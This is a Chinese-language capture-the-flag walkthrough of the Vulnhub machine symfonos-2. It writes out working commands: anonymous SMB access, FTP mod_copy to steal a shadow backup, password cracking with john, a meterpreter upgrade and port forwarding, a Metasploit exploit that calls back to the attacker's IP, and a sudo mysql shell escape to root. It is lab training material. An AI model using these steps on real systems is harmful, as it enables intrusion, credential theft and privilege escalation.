symfonos-2

来源:Vulnhub

难度:Intermediate

nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1

# 对除了192.168.36.1之外的目标进行全端口SYN半开扫描,探测系统和服务

发现目标192.168.36.135开启了80,445,22,21等端口,对应web,smb,ssh,ftp等服务
访问80端口,发现有网页,尝试爆破目录无果
使用命令

smbclient \\\\192.168.36.135\\anonymous

尝试匿名登录smb服务(空密码)
成功登录后dir查看目录发现有一个backup文件夹,下面有个log.txt文件,从中我们们看到一些敏感信息:



发现/var/backups/shadow.bak这个文件里面存放着加密后的用户密码,并且存在一个用户aeolus,且匿名smb登录的目录是/home/aeolus/share
继续使用enum4linux工具爆破出了另一个用户名,不过并没有多大作用
没有思路,使用searchsploit发现ftp服务似乎有文件copy漏洞,尝试复现(一开始尝试使用searchsploit的payload复制一句话到web目录,但因为web目录没有写权限而失败)
我们首先使用ftp 192.168.36.135命令连接ftp服务器,使用匿名账户,随意输入密码发现身份认证失败,但是仍然连接着
然后使用site cpfr /var/backups/shadow.bak选择来源文件
再使用site cpto /home/aeolus/share/shadow.bak选择目的文件,即将shadow.bak拷贝到我们能访问的smb目录下,下载后cat发现被加密后的各个用户的密码:

尝试直接拿密码hash去在线解密网站解密,失败,遂使用john爆破,命令如下:

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.bak

# 注意这里有个坑 每次使用john之前 要把运行目录下的.john/john.pot文件给删掉 否则john无法正确爆破


解得密码sergioteamo,马上尝试ssh登录得到shell,进入后尝试使用les.sh和linpeas.sh等提权脚本发现作用不大,尝试获取端口信息:
1.尝试使用脚本获取端口信息,无果
2.尝试直接netstat,无法运行
所以此时,我们还剩下一个选项,就是尝试得到一个metepreter session然后来查看端口开放状态
打开msfconsole,使用命令

use auxiliary/scanner/ssh/ssh_login  # 密码登录
use auxiliary/scanner/ssh/ssh_login_pubkey  # 公私钥登录

来通过ssh创建一个session,随后使用

use post/multi/manage/shell_to_meterpreter  # 选择通过shell来创建meterpreter
set session 1  # 选择session1上的shell 如果是nc等 也可以通过配置options里的地址和端口来选择
run  # 启动
sessions 2  # 切换到meterpreter

来得到一个meterpreter,随后我们尝试netstat,看到nmap没扫出来的端口和开放服务:

其中我们发现,目标在8080端口上布置了一个只能本地访问的服务,并且看起来像web服务,这时,如果我们想访问这个服务,就只能通过端口转发,新建一条路由,将8080转发到我们这边的端口,然后访问我们这边的端口,具体命令如下:

portfwd add -l 1111 -p 8080 -r 127.0.0.1

portfwd add -l 本地端口 -p 远程端口 -r 远程主机(可以是127.0.0.1 也可以是内网其他地址 但绝对不会是公网地址)

随后我们访问本地的1111端口,发现了新的web服务:

尝试使用跟ssh相同的用户名和密码登录,成功登录,尝试在msfconsole中搜索相关组件的漏洞,使用addhost漏洞,并作如下配置:

set lhost 192.168.36.132 # 设置回连地址 不能是127.0.0.1等 只能是内网地址或者0.0.0.0

set password sergioteamo
set username aeolus
# 设置用户名和密码

set rhost localhost # 因为服务被映射到本地 所以是localhost
set rport 1111 # 服务被映射到了本地1111端口
run # 启动

得到一个新的session,看似没有回连,实则输入命令就有回显:

使用命令sudo -l查看可以以sudo运行的指令,发现有mysql,使用经典mysql suid提权指令sudo mysql -e '\! /bin/sh'成功提权:

⬆︎TOP